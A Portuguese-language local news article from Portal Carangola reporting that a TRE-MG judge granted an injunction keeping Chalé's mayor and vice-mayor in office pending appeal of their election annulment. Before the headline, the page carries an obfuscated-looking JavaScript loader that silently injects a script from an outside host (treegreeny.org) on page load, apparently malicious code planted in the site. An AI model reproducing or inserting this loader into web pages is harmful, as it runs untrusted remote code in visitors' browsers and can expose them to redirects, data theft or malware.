;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Liminar no TRE-MG mantém prefeito e vice de Chalé nos cargos. - Portal Carangola

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Liminar no TRE-MG mantém prefeito e vice de Chalé nos cargos.

A Juíza Maria Edna Fagundes Veloso concedeu liminar mantendo o Prefeito de Chalé Elmir Batista de Melo e seu vice Willy Arnaldo Kaizer Júnior nos cargos. Na noite de sexta, 08, a juíza do Tribunal Regional Eleitoral (TRE-MG), Maria Edna Fagundes Veloso, concedeu o efeito suspensivo em ação cautelar, com pedido de liminar, em recurso eleitoral apresentado pelos advogados Mauro Bomfim e Luiz Amorim.
Na quinta-feira, a Justiça Eleitoral de Lajinha publicou sentença proferida em ação de investigação judicial eleitoral por ter utilizado máquinas e funcionários da prefeitura de Chalé para fazer serviços de terraplanagem durante a campanha eleitoral em propriedades particulares. Na decisão, o juiz cassou o diploma dos candidatos eleitos , os declarou  inelegíveis por oito anos, e ainda aplicou  multa eleitoral.
Ao analisar a decisão de primeira instância, a juíza do TRE-MG entendeu como “prudente e razoável, conferir efeito suspensivo ao recurso interposto, em razão da gravidade das sanções impostas e da possibilidade de que, sobrevindo decisão colegiada que reforme a condenação de 1º grau, se estabeleça verdadeira instabilidade política decorrente de alterações sucessivas do resultado prático das eleições”.
Elmir Batista de Melo não chegou a ser afastado do cargo, já que a liminar foi concedida antes mesmo que houve a intimação dele da decisão da Justiça Eleitoral de Lajinha.
Durante a noite desta sexta, houve carreata e comemoração do grupo político do prefeito nas ruas da cidade de Chalé por conta da suspensão da decisão até que haja o julgamento em segunda instância, que pode reformar a sentença de primeiro grau.

Informação:Carlos Henrique Cruz – portalcaparao


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